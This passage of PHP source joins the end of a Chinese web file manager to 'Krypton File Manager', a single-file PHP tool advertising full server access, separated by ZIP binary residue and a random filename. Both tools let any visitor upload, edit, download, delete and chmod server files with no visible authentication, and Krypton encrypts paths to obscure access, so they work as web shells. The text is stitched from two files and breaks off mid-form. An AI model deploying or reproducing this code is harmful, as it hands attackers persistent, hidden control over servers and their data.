$localPath = substr($filePath, strlen($dir) + 1);
$zip->addFile($filePath, $localPath);
}
}
}
$zip->close();
$message = "✅ ZIP 已生成:<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
$messageType = "success";
} else {
$message = "ZIP 打包失败";
$messageType = "danger";
}
}
// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
$zipFileName = basename($_GET['download_zip']);
$zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;
if (file_exists($zipFilePath)) {
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
header('Content-Length: ' . filesize($zipFilePath));
$fp = fopen($zipFilePath, 'rb');
if ($fp) {
while (!feof($fp)) {
echo fread($fp, 1024 * 1024);
flush();
}
fclose($fp);
}
unlink($zipFilePath);
exit;
} else {
echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
}
}
// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$uploadFile = $_FILES['file'];
$targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
$message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
$messageType = "success";
} else {
$message = "文件上传失败";
$messageType = "danger";
}
}
// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
$name = trim($_POST['new_name']);
$type = $_POST['new_type'];
$path = $dir . DIRECTORY_SEPARATOR . $name;
if ($name !== '') {
if ($type === 'file') {
if (file_put_contents($path, '') !== false) {
$message = "文件创建成功: " . htmlspecialchars($name);
$messageType = "success";
} else {
$message = "文件创建失败";
$messageType = "danger";
}
} elseif ($type === 'folder') {
if (mkdir($path)) {
$message = "文件夹创建成功: " . htmlspecialchars($name);
$messageType = "success";
} else {
$message = "文件夹创建失败";
$messageType = "danger";
}
}
} else {
$message = "名称不能为空";
$messageType = "warning";
}
}
// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
$chmodFile = realpath($_POST['chmod_file']);
$mode = octdec($_POST['chmod_mode']);
if ($chmodFile && file_exists($chmodFile)) {
if (chmod($chmodFile, $mode)) {
$message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
$messageType = "success";
} else {
$message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
$messageType = "danger";
}
} else {
$message = "非法操作";
$messageType = "danger";
}
}
// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
if (is_file($path)) return unlink($path);
$files = array_diff(scandir($path), ['.', '..']);
foreach ($files as $file) {
deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
}
return rmdir($path);
}
if (isset($_GET['delete'])) {
$deletePath = realpath($_GET['delete']);
if ($deletePath && strpos($deletePath, $dir) === 0) {
if (deleteRecursive($deletePath)) {
$message = "删除成功: " . htmlspecialchars(basename($deletePath));
$messageType = "success";
} else {
$message = "删除失败: " . htmlspecialchars(basename($deletePath));
$messageType = "danger";
}
} else {
$message = "非法操作";
$messageType = "danger";
}
}
// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
$editFile = realpath($_GET['edit']);
if ($editFile && is_file($editFile)) {
$editContent = file_get_contents($editFile);
} else {
$message = "无法编辑该文件";
$messageType = "danger";
}
}
// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
$filePath = realpath($_POST['edit_file']);
if ($filePath && is_file($filePath)) {
file_put_contents($filePath, $_POST['content']);
$message = "文件已保存";
$messageType = "success";
} else {
$message = "无法写入文件";
$messageType = "danger";
}
}
// 生成面包屑
function generateBreadcrumb($dir) {
$parts = explode(DIRECTORY_SEPARATOR, $dir);
$pathAccum = '';
$breadcrumb = [];
foreach ($parts as $part) {
if ($part === '') continue;
$pathAccum .= DIRECTORY_SEPARATOR . $part;
$breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
}
return implode(" / ", $breadcrumb);
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
return confirm("确定删除: " + file + " 吗?此操作不可恢复!");
}
</script>
</head>
<body>
<div class="container mt-4">
<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>
<?php if (!empty($message)): ?>
<div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>
<!-- ✅ 已移除“打包当前目录”按钮 -->
<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
<input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
<select name="new_type" class="form-select-sm" required>
<option value="file">文件</option>
<option value="folder">文件夹</option>
</select>
<button type="submit" class="btn btn-success btn-sm">创建</button>
</form>
<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
<input type="file" name="file" required>
<button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>
<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
<textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
<div class="d-flex gap-1">
<button type="submit" class="btn btn-warning btn-sm">保存修改</button>
<a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
</div>
</form>
<?php else: ?>
<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
<thead class="table-dark">
<tr>
<th><input type="checkbox" id="checkAll"></th>
<th>名称</th>
<th>类型</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php
$parent = dirname($dir);
if ($parent !== $dir) {
echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
}
foreach ($items as $item) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
echo "<tr>";
echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
if (is_dir($path)) {
echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
} else {
echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
}
echo "<td class='d-flex gap-1 align-items-center'>";
if (is_file($path)) {
echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
}
echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
<input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
<input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
<button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
</form>";
echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";
echo "</td>";
echo "</tr>";
}
?>
</tbody>
</table>
<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>
<?php endif; ?>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>
PK �Um\�d��o� o� 9gvid.phpnu �[��� <?php
/**
* Krypton File Manager
* A single-file PHP file manager with full server access and enhanced features
*/
// Start session
session_start();
// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout
// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
$encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}
// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
// Session expired
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time
// Encryption and decryption functions
function encryptPath($path) {
$iv = openssl_random_pseudo_bytes(16);
$encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
return base64_encode($encrypted . '::' . base64_encode($iv));
}
function decryptPath($encryptedPath) {
try {
$decoded = base64_decode($encryptedPath);
if ($decoded === false) {
return getcwd(); // Default to current directory if decoding fails
}
if (strpos($decoded, '::') === false) {
return getcwd(); // Default to current directory if separator not found
}
list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
$iv = base64_decode($iv_b64);
if ($iv === false || strlen($iv) !== 16) {
return getcwd(); // Default to current directory if IV is invalid
}
$decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
if ($decrypted === false) {
return getcwd(); // Default to current directory if decryption fails
}
return $decrypted;
} catch (Exception $e) {
return getcwd(); // Default to current directory on any exception
}
}
// Function to get human-readable file size
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// Function to get file permissions in Unix format
function getFilePermissions($file) {
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// Function to get file extension
function getFileExtension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
// Function to check if a file is editable
function isEditableFile($filename) {
/*
$editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
$extension = getFileExtension($filename);
return in_array($extension, $editableExtensions);
*/
return true;
}
// Process actions
$error = '';
$success = '';
// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path
// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
$currentPath = $_SESSION['current_path'];
}
// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Store current path for form submissions
if (isset($_POST['current_path'])) {
$decryptedCurrentPath = decryptPath($_POST['current_path']);
if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
$currentPath = $decryptedCurrentPath;
$_SESSION['current_path'] = $currentPath;
}
}
if (isset($_POST['action'])) {
// Handle file content request for editing
if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
$filePath = decryptPath($_POST['path']);
if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
echo file_get_contents($filePath);
exit;
} else {
echo "Error: Cannot read file.";
exit;
}
}
// Handle navigation
if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
$decryptedPath = decryptPath($_POST['path']);
if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
$currentPath = $decryptedPath;
$_SESSION['current_path'] = $currentPath;
}
}
// Handle file download
if ($_POST['action'] === 'download' && isset($_POST['path'])) {
$downloadPath = decryptPath($_POST['path']);
if (file_exists($downloadPath) && !is_dir($downloadPath)) {
// Set headers for file download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($downloadPath));
ob_clean();
flush();
readfile($downloadPath);
exit;
}
}
}
// Handle file upload
if (isset($_POST['upload'])) {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
$success = 'File uploaded successfully.';
} else {
$error = 'Failed to upload file.';
}
} else {
$error = 'No file selected or upload error.';
}
}
// Handle file/directory deletion
if (isset($_POST['delete']) && isset($_POST['path'])) {
$deletePath = decryptPath($_POST['path']);
if (file_exists($deletePath)) {
if (is_dir($deletePath)) {
// Try to remove directory
if (rmdir($deletePath)) {
$success = 'Directory deleted successfully.';
} else {
$error = 'Failed to delete directory. It may not be empty.';
}
} else {
// Remove file
if (unlink($deletePath)) {
$success = 'File deleted successfully.';
} else {
$error = 'Failed to delete file.';
}
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file/directory rename
if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
$oldPath = decryptPath($_POST['oldPath']);
$newName = $_POST['newName'];
$dirName = dirname($oldPath);
$newPath = $dirName . '/' . $newName;
if (file_exists($oldPath)) {
if (rename($oldPath, $newPath)) {
$success = 'Renamed successfully.';
} else {
$error = 'Failed to rename.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle permission change
if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
$permPath = decryptPath($_POST['permPath']);
$permissions = $_POST['permissions'];
// Convert from octal string to integer
$mode = octdec($permissions);
if (file_exists($permPath)) {
if (chmod($permPath, $mode)) {
$success = 'Permissions changed successfully.';
} else {
$error = 'Failed to change permissions.';
}
} else {
$error = 'File or directory does not exist.';
}
}
// Handle file edit
if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
$filePath = decryptPath($_POST['filePath']);
$fileContent = $_POST['fileContent'];
if (file_exists($filePath) && !is_dir($filePath)) {
if (file_put_contents($filePath, $fileContent) !== false) {
$success = 'File saved successfully.';
} else {
$error = 'Failed to save file.';
}
} else {
$error = 'File does not exist.';
}
}
// Handle create new file
if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $currentPath . '/' . $newFileName;
if (!file_exists($newFilePath)) {
if (file_put_contents($newFilePath, '') !== false) {
$success = 'File created successfully.';
} else {
$error = 'Failed to create file.';
}
} else {
$error = 'File already exists.';
}
}
// Handle create new folder
if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
$newFolderName = $_POST['newFolderName'];
$newFolderPath = $currentPath . '/' . $newFolderName;
if (!file_exists($newFolderPath)) {
if (mkdir($newFolderPath, 0755)) {
$success = 'Folder created successfully.';
} else {
$error = 'Failed to create folder.';
}
} else {
$error = 'Folder already exists.';
}
}
}
// Save current path to session
$_SESSION['current_path'] = $currentPath;
// Get directory contents
$items = [];
if (is_dir($currentPath)) {
if ($handle = opendir($currentPath)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$fullPath = $currentPath . '/' . $entry;
$isDir = is_dir($fullPath);
try {
$size = $isDir ? '-' : formatFileSize(filesize($fullPath));
$permissions = getFilePermissions($fullPath);
$lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
$items[] = [
'name' => $entry,
'path' => $fullPath,
'encryptedPath' => encryptPath($fullPath),
'isDirectory' => $isDir,
'size' => $size,
'permissions' => $permissions,
'lastModified' => $lastModified,
'isEditable' => !$isDir && isEditableFile($entry)
];
} catch (Exception $e) {
// Skip files that can't be accessed
continue;
}
}
}
closedir($handle);
}
}
// Sort items: directories first, then files
usort($items, function($a, $b) {
if ($a['isDirectory'] && !$b['isDirectory']) {
return -1;
}
if (!$a['isDirectory'] && $b['isDirectory']) {
return 1;
}
return strcasecmp($a['name'], $b['name']);
});
// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';
foreach ($pathParts as $part) {
if (empty($part)) {
$buildPath = '/';
$breadcrumbs[] = [
'name' => 'Root',
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
} else {
$buildPath .= ($buildPath === '/') ? $part : '/' . $part;
$breadcrumbs[] = [
'name' => $part,
'path' => $buildPath,
'encryptedPath' => encryptPath($buildPath)
];
}
}
// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);
// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Krypton File Manager</title>
<style>
/* Base styles and reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
}
body {
background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
background-color: #f9f9f9;
/* Fallback color */
color: #333333;
line-height: 1.6;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 0 20px;
}
/* Navigation bar */
.navbar {
background-color: #ffffff;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 15px 0;
position: sticky;
top: 0;
z-index: 100;
}
.navbar-content {
display: flex;
align-items: center;
justify-content: space-between;
}
.navbar h1 {
color: #333333;
font-size: 1.5rem;
font-weight: 500;
}
.version {
font-size: 0.8rem;
color: #777;
margin-left: 10px;
}
.navbar-actions {
display: flex;
gap: 10px;
}
.home-btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 8px 15px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
text-decoration: none;
display: inline-flex;
align-items: center;
transition: all 0.2s ease;
}
.home-btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.home-icon {
margin-right: 5px;
}
/* Breadcrumb navigation */
.breadcrumb {
display: flex;
align-items: center;
padding: 12px 0;
margin-bottom: 15px;
overflow-x: auto;
white-space: nowrap;
}
.breadcrumb-item {
display: flex;
align-items: center;
}
.breadcrumb-item a {
color: #4a6cf7;
text-decoration: none;
padding: 5px 8px;
border-radius: 4px;
transition: background-color 0.2s;
cursor: pointer;
}
.breadcrumb-item a:hover {
background-color: rgba(74, 108, 247, 0.1);
}
.breadcrumb-separator {
margin: 0 5px;
color: #999;
}
.breadcrumb-current {
font-weight: 500;
padding: 5px 8px;
}
/* Section styling */
.section {
background-color: rgba(255, 255, 255, 0.9);
border-radius: 8px;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
padding: 20px;
margin-bottom: 20px;
box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
}
.section-title {
font-size: 1.1rem;
color: #333333;
font-weight: 500;
}
.section-actions {
display: flex;
gap: 10px;
}
/* Upload form */
.upload-form {
display: flex;
flex-wrap: wrap;
gap: 10px;
align-items: center;
}
.upload-form input[type="file"] {
flex: 1;
min-width: 200px;
padding: 10px;
border: 1px solid #e0e0e0;
border-radius: 6px;
background-color: #ffffff;
}
.btn {
background-color: #4a6cf7;
color: white;
border: none;
padding: 10px 20px;
border-radius: 6px;
cursor: pointer;
font-weight: 500;
transition: all 0.2s ease;
}
.btn:hover {
background-color: #3a5ce5;
transform: translateY(-2px);
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.btn-sm {
padding: 6px 12px;
font-size: 0.9rem;
}
.btn-success {
background-color: #28a745;
}
.btn-success:hover {
background-color: #218838;
}
/* File list table */
.file-table-container {
overflow-x: auto;
}
.file-table {
width: 100%;
border-collapse: collapse;
margin-top: 10px;
}
.file-table th {
background-color: #f5f5f5;
padding: 12px 15px;
text-align: left;
font-weight: 500;
border-bottom: 1px solid #e0e0e0;
position: relative;
}
.file-table td {
padding: 12px 15px;
border-bottom: 1px solid #e0e0e0;
}
.file-table tr:hover {
background-color: #f5f7ff;
}
.file-name {
display: flex;
align-items: center;
gap: 8px;
}
.folder-icon::before {
content: "📁";
}
.file-icon::before {
content: "📄";
}
/* Action buttons */
.action-buttons {
display: flex;
gap: 8px;
}
.action-btn {
background: none;
border: none;
cursor: pointer;
font-size: 1rem;
color: #555;
transition: all 0.2s ease;
width: 28px;
height: 28px;
display: flex;
align-items: center;
justify-content: center;
border-radius: 4px;
}
.action-btn:hover {
background-color: #f0f0f0;
color: #333;
}
/* Modal styles */
.modal {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 1000;
justify-content: center;
align-items: center;
}
.modal-content {
background-color: white;
padding: 25px;
border-radius: 8px;
width: 90%;
max-width: 400px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
}
.modal-content.modal-lg {
max-width: 800px;
height: 80%;
display: flex;
flex-direction: column;
}
.modal-title {
font-size: 1.2rem;
margin-bottom: 15px;
font-weight: 500;
}
.modal-form {
display: flex;
flex-direction: column;
gap: 15px;
}
.editor-form {
display: flex;
flex-direction: column;
gap: 15px;
flex-grow: 1;
}
.form-group {
display: flex;
flex-direction: column;
gap: 5px;
}
.form-group label {
font-weight: 500;
}
.form-group input {
padding: 8px 12px;
border: 1px solid #ddd;
border-radius: 4px;
}
.form-group textarea {
flex-grow: 1;
padding: 12px;
border: 1px solid #ddd;
border-radius: 4px;
font-family: 'Courier New', monospace;
font-size: 14px;
resize: none;
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
.btn-cancel {
background-color: #f0f0f0;
color: #333;
}
.btn-cancel:hover {
background-color: #e0e0e0;
}
/* Alerts */
.alert {
padding: 12px 15px;
margin-bottom: 15px;
border-radius: 4px;
font-weight: 500;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.alert-warning {
background-color: #fff3cd;
color: #856404;
border: 1px solid #ffeeba;
}
/* Footer */
.footer {
text-align: center;
padding: 20px 0;
color: #777;
font-size: 0.9rem;
}
/* Loading overlay */
.loading-overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
z-index: 2000;
justify-content: center;
align-items: center;
}
.spinner {
width: 50px;
height: 50px;
border: 5px solid #f3f3f3;
border-top: 5px solid #3498db;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
/* Responsive design */
@media (max-width: 768px) {
.upload-form {
flex-direction: column;
align-items: stretch;
}
.upload-form input[type="file"] {
width: 100%;
}
.action-buttons {
flex-wrap: wrap;
}
.section-header {
flex-direction: column;
align-items: flex-start;
gap: 10px;
}
.section-actions {
width: 100%;
}
.btn {
width: 100%;
}
}
</style>
</head>
<body>
<!-- Loading Overlay -->
<div id="loadingOverlay" class="loading-overlay">
<div class="spinner"></div>
</div>
<!-- Navigation Bar -->
<nav class="navbar">
<div class="container navbar-content">
<h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
<div class="navbar-actions">
<button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
<span class="home-icon">🏠</span> Home
</button>
</div>
</div>
</nav>
<div class="container">
<!-- Alerts -->
<?php if (!empty($encryptionKeyWarning)): ?>
<div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
<?php endif; ?>
<?php if (!empty($success)): ?>
<div class="alert alert-success"><?php echo $success; ?></div>
<?php endif; ?>
<?php if (!empty($error)): ?>
<div class="alert alert-error"><?php echo $error; ?></div>
<?php endif; ?>
<!-- Breadcrumb Navigation -->
<div class="breadcrumb">
<?php foreach ($breadcrumbs as $index => $crumb): ?>
<?php if ($index > 0): ?>
<span class="breadcrumb-separator">›</span>
<?php endif; ?>
<div class="breadcrumb-item">
<?php if ($index === count($breadcrumbs) - 1): ?>
<span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
<?php else: ?>
<a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<!-- Upload Section -->
<section class="section">
<h2 class="section-title">Upload Files</h2>
<form class="upload-form" method="post" enctype="multipart/form-data">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="file" name="file">
<button type="submit" name="upload" class="btn">Upload File</button>
</form>
</section>
<!-- File List Section -->
<section class="section">
<div class="section-header">
<h2 class="section-title">Files</h2>
<div class="section-actions">
<button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
<button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
</div>
</div>
<div class="file-table-container">
<table class="file-table">
<thead>
<tr>
<th>Filename</th>
<th>Size</th>
<th>Permissions</th>
<th>Last Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<!-- Parent directory link -->
<?php if ($currentPath !== '/'): ?>
<tr>
<td>
<div class="file-name">
<span class="folder-icon"></span>
<a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
</div>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<!-- File list -->
<?php foreach ($items as $item): ?>
<tr>
<td>
<div class="file-name">
<span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
<?php if ($item['isDirectory']): ?>
<a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
<?php else: ?>
<?php echo htmlspecialchars($item['name']); ?>
<?php endif; ?>
</div>
</td>
<td><?php echo $item['size']; ?></td>
<td><?php echo $item['permissions']; ?></td>
<td><?php echo $item['lastModified']; ?></td>
<td>
<div class="action-buttons">
<?php if (!$item['isDirectory']): ?>
<button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
<?php if ($item['isEditable']): ?>
<button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
<?php endif; ?>
<?php endif; ?>
<button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
<button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
<form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
<button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</section>
<footer class="footer">
Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
</footer>
</div>
<!-- Rename Modal -->
<div id="renameModal" class="modal">
<div class="modal-content">
<h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
<form class="modal-form" method="post">
<input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
<input type="hidden" id="renameOldPath" name="oldPath" value="">
<div class="form-group">
<label for="renameNewName">New Name:</label>
